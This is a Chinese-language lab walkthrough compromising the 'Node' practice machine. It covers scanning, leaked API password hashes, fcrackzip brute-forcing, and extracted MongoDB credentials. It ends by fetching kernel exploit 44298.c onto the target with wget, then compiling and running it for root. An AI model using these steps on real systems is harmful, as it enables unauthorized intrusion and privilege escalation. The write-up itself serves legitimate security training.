靶机渗透(四)Node

靶机Node

 

一、实验环境

二、实验步骤

(一)信息收集

1.查看测试机的IP信息,判断所处网段

2.主机发现(netdiscover)

3.端口扫描(masscan/nmap)

(二)Web渗透

1.浏览web网站(3000端口)

2.查看网页源代码

3.码源审计

4.提权

5.留后门,清痕迹


一、实验环境

1.靶机:Node

2.测试机:Kali

3.帮凶机:Windows 10

4.抓包工具:BurpSuite

二、实验步骤

(一)信息收集

1.查看测试机的IP信息,判断所处网段

靶机渗透(四)Node_第1张图片

2.主机发现(netdiscover)

netdiscover -i eth0 -r 192.168.10../24

靶机渗透(四)Node_第2张图片

3.端口扫描(masscan/nmap)

masscan --rate=10000 --ports 0-65535 192.168.10.148
nmap -sV -T4 -p 22,3000 192.168.10.148

靶机渗透(四)Node_第3张图片

  • 开启了22(ssh服务)、3000(http服务)端口

(二)Web渗透

1.浏览web网站(3000端口)

http://192.168.10.148:3000

靶机渗透(四)Node_第4张图片

靶机渗透(四)Node_第5张图片

靶机渗透(四)Node_第6张图片

  • 目标主机开启的3000端口为http服务,不是默认的80端口

  • 有个登录界面,尝试弱密码,未成功(此处可以使用暴力破解)

  • 未发现有用信息

2.查看网页源代码

a.发现敏感信息路径

靶机渗透(四)Node_第7张图片

b.逐级查看该路径

http://192.168.10.148:3000/api/users/latest
http://192.168.10.148:3000/api/users

靶机渗透(四)Node_第8张图片

靶机渗透(四)Node_第9张图片

  • /api/users/latest路径下,查看到四个非管理员用户

  • /api/users路径下,多了一个管理员用户

c.账号密码解密

靶机渗透(四)Node_第10张图片

靶机渗透(四)Node_第11张图片

靶机渗透(四)Node_第12张图片

  • 普通用户账号:tom(spongebob)、mark(snowflake)

  • rastating密码未破解出来

  • 管理员账号:myP14ceAdm1nAcc0uNT(manchester)

d.登录web网页

靶机渗透(四)Node_第13张图片

靶机渗透(四)Node_第14张图片

  • 使用普通用户账号登录,没有任何有效信息

靶机渗透(四)Node_第15张图片

  • 使用admin身份登录,下载了一个myplace.backup文件(使用base64编码),并将该文件导入测试机(Kali)

3.码源审计

a.使用base64对myplace.backup进行解码

base64 -d myplace.backup > myplace.zip

靶机渗透(四)Node_第16张图片

  • 解码出一个.zip的压缩文件,对其进行解压,发现是一个加密文件,需先对密码进行破解

  • base64详细命令查询:base64 --help

b.猜解myplace.zip密码

fcrackzip -v -b -u -c a -p magicaaaa myplace.zip

靶机渗透(四)Node_第17张图片

  • fcrackzip详细命令查询:fcrackzip -h

  • fcrackzip命令:-v(详细信息)、-b(爆破)、-u(使用解压缩来清除密码错误)、-c(使用字符串)、-p(密码)

  • 密码猜解出来:magicword

c.对myplace.zip文件进行解压缩

unzip myplace.zip

靶机渗透(四)Node_第18张图片

d.查看解压文件内容中的目录

靶机渗透(四)Node_第19张图片

  • app.js为项目入口及程序启动文件(Node.js架构),里面存储着重要配置信息,从该文件中,获取到mongodb的配置信息

  • 发现mongodb的用户:mark(5AYRft73VtFpc84k)

靶机渗透(四)Node_第20张图片

靶机渗透(四)Node_第21张图片

  • 在var/www/myplace/static/assets/js/app/controllers目录下的.is文件与上述在网页源代码中的相同

4.提权

a.使用mongodb账号mark(5AYRft73VtFpc84k)远程目标主机

靶机渗透(四)Node_第22张图片

靶机渗透(四)Node_第23张图片

b.查询服务器版本信息(searchsploit)

searchsploit Ubuntu 16.04

靶机渗透(四)Node_第24张图片

  • 发现该内核版本存在漏洞,可以直接提权

c.将44298.c文件拷贝至靶机

cp /usr/share/exploitdb/exploits/linux/local/44298.c /var/www/html
/etc/init.d/apache2 start
cd /tmp
wget http://192.168.10.149/44298.c

靶机渗透(四)Node_第25张图片

  • 此处使用wget命令方式拷贝文件至靶机,也可使用scp命令(前提是靶机必须开启ssh服务)

  • 由于 /tmp文件的限制小,能够将文件写入,所以将文件上传到靶机的tmp文件下

d.编译执行44298.c文件

gcc 44298.c -o exp
./exp

靶机渗透(四)Node_第26张图片

5.留后门,清痕迹

 


总结:

1.该靶机开启http服务的端口为3000端口(访问网页时需加上端口号)

2.此处再次吹爆网页源代码,可以找到许多有用信息

3.若一串编码字符串最后有两个“=”,则极有可能使用base64编码

4.靶机服务器版本漏洞,很多都是提权的关键

5.Node.js架构中存储着重要配置信息

你可能感兴趣的:(靶机渗透)